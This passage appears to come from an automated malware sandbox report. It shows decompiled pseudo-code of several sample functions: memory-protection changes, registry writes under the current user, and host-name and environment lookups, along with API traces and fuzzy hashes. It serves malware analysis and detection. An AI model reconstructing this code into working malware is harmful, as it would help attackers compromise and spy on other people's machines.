				_t50 = __edx;
				_v12 = 0;
				_t23 = E02F9A72D(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x2f9d27c; // 0xd0a5a8
				_t4 = _t24 + 0x2f9ede0; // 0x3ca9388
				_t5 = _t24 + 0x2f9ed88; // 0x4f0053
				_t26 = E02F91262( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x2f9d27c; // 0xd0a5a8
						_t11 = _t32 + 0x2f9edd4; // 0x3ca937c
						_t48 = _t11;
						_t12 = _t32 + 0x2f9ed88; // 0x4f0053
						_t55 = E02F97CB8(_t11, _t12, _t11);
						_t59 = _t55;
						if(_t55 != 0) {
							_t35 =  *0x2f9d27c; // 0xd0a5a8
							_t13 = _t35 + 0x2f9ee1e; // 0x30314549
							_t37 = E02F989D6(_t48, _t50, _t59, _v8, _t55, _t13, 0x14); // executed
							if(_t37 == 0) {
								_t61 =  *0x2f9d25c - 6;
								if( *0x2f9d25c <= 6) {
									_t42 =  *0x2f9d27c; // 0xd0a5a8
									_t15 = _t42 + 0x2f9ec2a; // 0x52384549
									E02F989D6(_t48, _t50, _t61, _v8, _t55, _t15, 0x13);
								}
							}
							_t38 =  *0x2f9d27c; // 0xd0a5a8
							_t17 = _t38 + 0x2f9ee18; // 0x3ca93c0
							_t18 = _t38 + 0x2f9edf0; // 0x680043
							_t45 = E02F92659(_v8, 0x80000001, _t55, _t18, _t17);
							HeapFree( *0x2f9d238, 0, _t55);
						}
					}
					HeapFree( *0x2f9d238, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E02F91F99(_t54);
				}
				return _t45;
			}

0x02f973fd
0x02f9740d
0x02f97410
0x02f97417
0x02f97419
0x02f97419
0x02f9741c
0x02f97421
0x02f97428
0x02f97435
0x02f9743a
0x02f9743e
0x02f9744c
0x02f9745a
0x02f9745e
0x02f974ef
0x02f974ef
0x02f97464
0x02f97464
0x02f97469
0x02f97469
0x02f97470
0x02f9747c
0x02f9747e
0x02f97480
0x02f97482
0x02f97489
0x02f97494
0x02f9749b
0x02f9749d
0x02f974a4
0x02f974a6
0x02f974ad
0x02f974b8
0x02f974b8
0x02f974a4
0x02f974bd
0x02f974c2
0x02f974c9
0x02f974e7
0x02f974e9
0x02f974e9
0x02f97480
0x02f974fb
0x02f974fb
0x02f974fd
0x02f97502
0x02f97504
0x02f97504
0x02f9750f

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,03CA9388,00000000,?,74B5F710,00000000,74B5F730), ref: 02F9744C
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,03CA93C0,?,00000000,30314549,00000014,004F0053,03CA937C), ref: 02F974E9
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,02F96814), ref: 02F974FB

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: be24c4049c9e2d41b4968574ccd6f367dd29d7c27c945123a833094b987c8f81
Instruction ID: d80e71b743771d9ea16ea7e99a003df0cf5a1ee4d0665a6de1c3afa518f4aef8
Opcode Fuzzy Hash: be24c4049c9e2d41b4968574ccd6f367dd29d7c27c945123a833094b987c8f81
Instruction Fuzzy Hash: C43192B1D0020CFFEF21EBA5DD48E9ABBADEB457C4F150066B605A7121D370AA14DF60

Uniqueness

Uniqueness Score: -1.00%

Function 02F98504, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E02F98504(void* __ecx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t30;
				void* _t37;
				void* _t40;
				intOrPtr _t42;

				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0x2f9d340; // 0x3ca9928
				_push(0x800);
				_push(0);
				_push( *0x2f9d238);
				if( *0x2f9d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0x2f9d24c =  *0x2f9d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E02F92496(_t44, _t40);
						_t18 = E02F9A66E(_t37, _t40, _t44);
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0x2f9d24c < 5) {
								 *0x2f9d24c =  *0x2f9d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E02F9A1B0();
						RtlFreeHeap( *0x2f9d238, 0, _t40); // executed
						goto L10;
					}
					_t24 = E02F9A279(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				if(RtlAllocateHeap() == 0) {
					goto L6;
				}
				_t24 = E02F98B94(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

0x02f98504
0x02f98507
0x02f98508
0x02f98512
0x02f98519
0x02f9851e
0x02f98520
0x02f98526
0x02f9854e
0x02f98566
0x02f98568
0x02f98569
0x02f9856b
0x02f985a9
0x02f985a9
0x02f985af
0x02f985b5
0x02f985b5
0x02f9856d
0x02f98573
0x02f98576
0x02f98585
0x02f98587
0x02f9858e
0x02f985c2
0x02f985c7
0x02f985c9
0x02f985cb
0x02f985cb
0x00000000
0x02f985c9
0x02f98590
0x02f98595
0x02f985a3
0x00000000
0x02f985a3
0x02f9855d
0x02f98562
0x02f98562
0x00000000
0x02f98562
0x02f98530
0x00000000
0x00000000
0x02f9853f
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,74B5F710), ref: 02F98528

Part of subcall function 02F98B94: GetTickCount.KERNEL32 ref: 02F98BA8
Part of subcall function 02F98B94: wsprintfA.USER32 ref: 02F98BF8
Part of subcall function 02F98B94: wsprintfA.USER32 ref: 02F98C15
Part of subcall function 02F98B94: wsprintfA.USER32 ref: 02F98C41
Part of subcall function 02F98B94: HeapFree.KERNEL32(00000000,?), ref: 02F98C53
Part of subcall function 02F98B94: wsprintfA.USER32 ref: 02F98C74
Part of subcall function 02F98B94: HeapFree.KERNEL32(00000000,?), ref: 02F98C84
Part of subcall function 02F98B94: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 02F98CB2
Part of subcall function 02F98B94: GetTickCount.KERNEL32 ref: 02F98CC3

RtlAllocateHeap.NTDLL(00000000,00000800,74B5F710), ref: 02F98546
RtlFreeHeap.NTDLL(00000000,00000002,02F9685F,?,02F9685F,00000002,?,?,02F92417,?), ref: 02F985A3

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: fb2eb30dcb104ce9b655f59bfcd00222c12f4cd695b22f939625a855e2b862da
Instruction ID: e191556fc94ac350fd8d8e3f583b2788e918a9eae884456540a8cea9934b3e34
Opcode Fuzzy Hash: fb2eb30dcb104ce9b655f59bfcd00222c12f4cd695b22f939625a855e2b862da
Instruction Fuzzy Hash: EE216D76A40208EBEF019F55DC80E9A77ADEB8A7D4F100426FA01DB250DB70E954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 10001179, Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E10001179(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t43;
				long _t54;
				signed int _t57;
				void* _t58;
				signed int _t60;

				_v12 = _v12 & 0x00000000;
				_t57 =  *0x1000414c;
				_t58 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t57 - 0x63699bbf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t60 = _v12;
					if(_t60 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t54 = _t57 - 0x63699bbf;
							L9:
							_t43 = VirtualProtect( *((intOrPtr*)(_t58 + 0xc)) + _a4,  *(_t58 + 8), _t54,  &_v20); // executed
							if(_t43 == 0) {
								_v12 = GetLastError();
							}
							_v8 = _v8 + 1;
							_t58 = _t58 + 0x777fa9b0 + _t57 * 0x28;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t54 = _t57 - 0x63699bc1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						_t54 = _t57 - 0x63699ba3;
					} else {
						_t54 = _t57 - 0x63699b83;
					}
					goto L9;
				}
				goto L12;
			}

0x10001183
0x10001190
0x10001196
0x100011a2
0x100011b2
0x100011b4
0x100011bc
0x10001251
0x10001258
0x00000000
0x00000000
0x00000000
0x100011c2
0x100011c2
0x100011c2
0x100011c6
0x00000000
0x00000000
0x100011d2
0x100011d6
0x100011fa
0x100011fe
0x10001212
0x10001212
0x10001218
0x10001227
0x1000122b
0x10001233
0x10001233
0x1000123b
0x1000123e
0x1000124b
0x00000000
0x00000000
0x00000000
0x00000000
0x1000124b
0x10001206
0x1000120a
0x10001210
0x00000000
0x00000000
0x00000000
0x10001210
0x100011de
0x100011e2
0x100011ec
0x100011e4
0x100011e4
0x100011e4
0x00000000
0x100011e2
0x00000000

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 100011B2
VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 10001227
GetLastError.KERNEL32 ref: 1000122D

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual$ErrorLast
String ID:
API String ID: 1469625949-0
Opcode ID: 4c066baaf28f8eb37efe3bcb5d7151aded5e51c0cb14aa7ceb28c1f7bbe160c8
Instruction ID: 0668daed04cbb7b664abe494ebfe9c2342c365f2a22d128ebf7293798eb97d5e
Opcode Fuzzy Hash: 4c066baaf28f8eb37efe3bcb5d7151aded5e51c0cb14aa7ceb28c1f7bbe160c8
Instruction Fuzzy Hash: A2217F31801206EFDB04DF95C885AEAF7F5FF44399F018859D50297458E3B8A6A5CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02F93DD9, Relevance: 3.9, APIs: 3, Instructions: 155
stringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E02F93DD9(void* __eflags, int _a4) {
				intOrPtr _v12;
				WCHAR* _v16;
				char* _v20;
				int _v24;
				void* _v36;
				char _v40;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				void _v84;
				char _v88;
				void* __ebx;
				void* __esi;
				intOrPtr _t40;
				int _t45;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t55;
				intOrPtr _t67;
				void* _t70;
				void* _t80;
				WCHAR* _t85;

				_v88 = 0;
				memset( &_v84, 0, 0x2c);
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t40 =  *0x2f9d27c; // 0xd0a5a8
				_t5 = _t40 + 0x2f9ee40; // 0x410025
				_t85 = E02F96A12(_t5);
				_v16 = _t85;
				if(_t85 == 0) {
					_t80 = 8;
					L24:
					return _t80;
				}
				_t45 = StrCmpNIW(_t85, _a4, lstrlenW(_t85)); // executed
				if(_t45 != 0) {
					_t80 = 1;
					L22:
					E02F99039(_v16);
					goto L24;
				}
				if(E02F9A72D(0,  &_a4) != 0) {
					_a4 = 0;
				}
				_t50 = E02F9809F(0,  *0x2f9d33c);
				_v12 = _t50;
				if(_t50 == 0) {
					_t80 = 8;
					goto L19;
				} else {
					_t52 =  *0x2f9d27c; // 0xd0a5a8
					_t11 = _t52 + 0x2f9e81a; // 0x65696c43
					_t55 = E02F9809F(0, _t11);
					_t87 = _t55;
					if(_t55 == 0) {
						_t80 = 8;
					} else {
						_t80 = E02F96BFA(_a4, 0x80000001, _v12, _t87,  &_v88,  &_v84);
						E02F99039(_t87);
					}
					if(_t80 != 0) {
						L17:
						E02F99039(_v12);
						L19:
						_t86 = _a4;
						if(_a4 != 0) {
							E02F91F99(_t86);
						}
						goto L22;
					} else {
						if(( *0x2f9d260 & 0x00000001) == 0) {
							L14:
							E02F98F83(_t80, _v88, _v84,  *0x2f9d270, 0);
							_t80 = E02F91C74(_v88,  &_v80,  &_v76, 0);
							if(_t80 == 0) {
								_v24 = _a4;
								_v20 =  &_v88;
								_t80 = E02F942EA( &_v40, 0);
							}
							E02F99039(_v88);
							goto L17;
						}
						_t67 =  *0x2f9d27c; // 0xd0a5a8
						_t18 = _t67 + 0x2f9e823; // 0x65696c43
						_t70 = E02F9809F(0, _t18);
						_t89 = _t70;
						if(_t70 == 0) {
							_t80 = 8;
						} else {
							_t80 = E02F96BFA(_a4, 0x80000001, _v12, _t89,  &_v72,  &_v68);
							E02F99039(_t89);
						}
						if(_t80 != 0) {
							goto L17;
						} else {
							goto L14;
						}
					}
				}
			}

0x02f93deb
0x02f93dee
0x02f93df5
0x02f93dfb
0x02f93dfc
0x02f93dfd
0x02f93dfe
0x02f93dff
0x02f93e00
0x02f93e08
0x02f93e14
0x02f93e18
0x02f93e1b
0x02f93f6b
0x02f93f6e
0x02f93f72
0x02f93f72
0x02f93e2d
0x02f93e35
0x02f93f5e
0x02f93f5f
0x02f93f62
0x00000000
0x02f93f62
0x02f93e47
0x02f93e49
0x02f93e49
0x02f93e54
0x02f93e5b
0x02f93e5e
0x02f93f4d
0x00000000
0x02f93e64
0x02f93e64
0x02f93e69
0x02f93e72
0x02f93e77
0x02f93e80
0x02f93ea3
0x02f93e82
0x02f93e98
0x02f93e9a
0x02f93e9a
0x02f93ea6
0x02f93f41
0x02f93f44
0x02f93f4e
0x02f93f4e
0x02f93f53
0x02f93f55
0x02f93f55
0x00000000
0x02f93eac
0x02f93eb3
0x02f93ef4
0x02f93f05
0x02f93f1b
0x02f93f1f
0x02f93f24
0x02f93f2a
0x02f93f37
0x02f93f37
0x02f93f3c
0x00000000
0x02f93f3c
0x02f93eb5
0x02f93eba
0x02f93ec3
0x02f93ec8
0x02f93ecc
0x02f93eef
0x02f93ece
0x02f93ee4
0x02f93ee6
0x02f93ee6
0x02f93ef2
0x00000000
0x00000000
0x00000000
0x00000000
0x02f93ef2
0x02f93ea6

APIs

memset.NTDLL ref: 02F93DEE

Part of subcall function 02F96A12: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,?,?,00000000,02F93E14,00410025,00000005,?,00000000), ref: 02F96A23
Part of subcall function 02F96A12: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000000), ref: 02F96A40

lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 02F93E22
StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 02F93E2D

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: EnvironmentExpandStrings$lstrlenmemset
String ID:
API String ID: 3817122888-0
Opcode ID: 8e5b32264900f00441589d188e4d2fdbb06a25a0fa2f89d33c9589cef0c3c242
Instruction ID: 8442e22571d97997f595fb67d0f412a12c223f3e569d054f55dacb4bba281565
Opcode Fuzzy Hash: 8e5b32264900f00441589d188e4d2fdbb06a25a0fa2f89d33c9589cef0c3c242
Instruction Fuzzy Hash: C9414E72E0121CABEF11EFE4CC84EEEBBBDAF087C4B114566E605E7110D7719A488B90

Uniqueness

Uniqueness Score: -1.00%

Function 02F99152, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E02F99152(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E02F93AEF(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x2f9d27c; // 0xd0a5a8
						_t20 = _t68 + 0x2f9e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E02F97C14(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x02f99158
0x02f9915b
0x02f9916b
0x02f99174
0x02f99178
0x02f99246
0x02f9924c
0x02f9924c
0x02f99192
0x02f99197
0x02f9919b
0x02f991a1
0x02f991a6
0x02f991ad
0x02f991bc
0x02f991bc
0x02f991c0
0x02f991c2
0x02f991ce
0x02f991d9
0x02f991e4
0x02f991e8
0x02f991f2
0x02f991f6
0x02f991f8
0x02f991fd
0x02f99204
0x02f99214
0x02f99214
0x02f991fd
0x02f991f6
0x02f99216
0x02f9921b
0x02f99220
0x02f99220
0x02f99226
0x02f9922c
0x02f99231
0x02f99231
0x02f99236
0x02f9923b
0x02f9923b
0x02f99236
0x02f991c0
0x02f9923d
0x02f99243
0x00000000

APIs

Part of subcall function 02F93AEF: SysAllocString.OLEAUT32(80000002), ref: 02F93B46
Part of subcall function 02F93AEF: SysFreeString.OLEAUT32(00000000), ref: 02F93BAB

SysFreeString.OLEAUT32(?), ref: 02F99231
SysFreeString.OLEAUT32(02F91885), ref: 02F9923B

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: e80404c66a1aa7334208d7c091e48d878076b0c8ef660a04f88fd41bd089dde6
Instruction ID: a85a96a669b2414ca223ff9ecb385fae983b4ad11a6c543a308669886ca9d96d
Opcode Fuzzy Hash: e80404c66a1aa7334208d7c091e48d878076b0c8ef660a04f88fd41bd089dde6
Instruction Fuzzy Hash: E1315A72900118AFDF21EFA5CC88C9BBB7AFFC97847114698F9159B210E3719D91CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000135A, Relevance: 3.1, APIs: 2, Instructions: 59
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000135A() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0x10004150;
				if( *0x1000412c > 5) {
					_t16 = _t15 + 0x100050f9;
				} else {
					_t16 = _t15 + 0x100050b1;
				}
				E10001FE7(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				if(E10001414( &_v32,  &_v16,  *0x1000414c ^ 0xfd7cd1cf) == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x10004138);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E1000102F(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x10004138 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E1000200D(_t44, _t32 + 4);
						}
					}
					_t25 = E10001E11(_v28); // executed
				}
				ExitThread(_t25);
			}

0x10001360
0x10001371
0x1000137b
0x10001373
0x10001373
0x10001373
0x10001382
0x1000138b
0x10001390
0x100013ae
0x10001405
0x100013b0
0x100013b6
0x100013bc
0x100013ca
0x100013ce
0x100013d5
0x100013d7
0x100013e3
0x100013e5
0x100013f4
0x100013e7
0x100013ed
0x100013ed
0x100013e5
0x100013fc
0x100013fc
0x10001407

APIs

lstrlenW.KERNEL32(?,?,?,?), ref: 100013B6
ExitThread.KERNEL32 ref: 10001407

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ExitThreadlstrlen
String ID:
API String ID: 2636182767-0
Opcode ID: bbc03089cd780e3a685a91eb4c0c862dad5948ab76aa5244e081fc2d8405439e
Instruction ID: 2ce771c5e16d54c3ab671480280001d27b24c2f2c6965729a5a09e13ad1247cb
Opcode Fuzzy Hash: bbc03089cd780e3a685a91eb4c0c862dad5948ab76aa5244e081fc2d8405439e
Instruction Fuzzy Hash: D71149B1908245ABF711DBA4CC899CBB7ECEB483C0F02482AF555D7169EB30E6858B55

Uniqueness

Uniqueness Score: -1.00%

Function 02F9A6A5, Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

SafeArrayCreate.OLEAUT32(00000011,00000001,80000002), ref: 02F9A6CD

Part of subcall function 02F99152: SysFreeString.OLEAUT32(?), ref: 02F99231

SafeArrayDestroy.OLEAUT32(?), ref: 02F9A71A

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: ArraySafe$CreateDestroyFreeString
String ID:
API String ID: 3098518882-0
Opcode ID: 973440dece1aa353f74e5c8e695bd2c194872db6b1b424baa1716805d7538f25
Instruction ID: 7af431b1a71156392373289c30372c5af95a65f1e2d196d6763562fe9194ce2e
Opcode Fuzzy Hash: 973440dece1aa353f74e5c8e695bd2c194872db6b1b424baa1716805d7538f25
Instruction Fuzzy Hash: 4211007290010DBFEF11DFA5C845E9EBBB9FB08790F018425FA00E6160E3759A559FA1

Uniqueness

Uniqueness Score: -1.00%

Function 02F989D6, Relevance: 3.0, APIs: 2, Instructions: 49
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E02F989D6(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				struct _FILETIME _v12;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t24;
				signed short* _t25;

				_t23 = __edx;
				_t24 = E02F9809F(0, _a12);
				if(_t24 == 0) {
					_t21 = 8;
				} else {
					_t25 = _t24 + _a16 * 2;
					 *_t25 =  *_t25 & 0x00000000;
					_t21 = E02F9904E(__ecx, _a4, _a8, _t24);
					if(_t21 == 0) {
						GetSystemTimeAsFileTime( &_v12);
						_push( &_v12);
						 *_t25 = 0x5f;
						_t20 = E02F9A635(_t23, 8, _a4, 0x80000001, _a8, _t24); // executed
						_t21 = _t20;
					}
					HeapFree( *0x2f9d238, 0, _t24);
				}
				return _t21;
			}

0x02f989d6
0x02f989e9
0x02f989ed
0x02f98a47
0x02f989ef
0x02f989f6
0x02f989fc
0x02f98a05
0x02f98a09
0x02f98a0f
0x02f98a18
0x02f98a1d
0x02f98a2d
0x02f98a32
0x02f98a32
0x02f98a3d
0x02f98a3d
0x02f98a4e

APIs

Part of subcall function 02F9809F: lstrlen.KERNEL32(?,00000000,02F9D330,00000001,02F92200,02F9D00C,02F9D00C,00000000,00000005,00000000,00000000,?,?,?,02F996C1,02F923E9), ref: 02F980A8
Part of subcall function 02F9809F: mbstowcs.NTDLL ref: 02F980CF
Part of subcall function 02F9809F: memset.NTDLL ref: 02F980E1

GetSystemTimeAsFileTime.KERNEL32(004F0053,004F0053,00000014,00000000,00000008,74B05520,00000000,00000008,00000014,004F0053,03CA937C), ref: 02F98A0F
HeapFree.KERNEL32(00000000,00000000,004F0053,00000014,00000000,00000008,74B05520,00000000,00000008,00000014,004F0053,03CA937C), ref: 02F98A3D

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$FileFreeHeapSystemlstrlenmbstowcsmemset
String ID:
API String ID: 1500278894-0
Opcode ID: 6b9a880657a26a34cd3be82e5841ffb5a76bbd4f319fa3062d7d5e5e6f8e4298
Instruction ID: 23c2335e2b66297c5f38cd69db21068a7e0fbd401b0a9cfd6cc282c47d8cf8dd
Opcode Fuzzy Hash: 6b9a880657a26a34cd3be82e5841ffb5a76bbd4f319fa3062d7d5e5e6f8e4298
Instruction Fuzzy Hash: 36018F3260020DBBEF216FA4DC44E9ABFB9FF85794F104425FB009A160EBB1D964CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02F954BC, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E02F954BC(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E02F92049(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E02F99039(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x02f954c1
0x02f954cc
0x02f954ce
0x02f954d4
0x02f954d6
0x02f954db
0x02f954e4
0x02f954e8
0x02f954f1
0x02f954f5
0x02f95504
0x02f954f7
0x02f954f8
0x02f954fd
0x02f954fd
0x02f954f5
0x02f954e8
0x02f9550d

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,02F9A306,74B5F710,00000000,?,?,02F9A306), ref: 02F954D4

Part of subcall function 02F92049: RtlAllocateHeap.NTDLL(00000000,00000000,02F97E50), ref: 02F92055

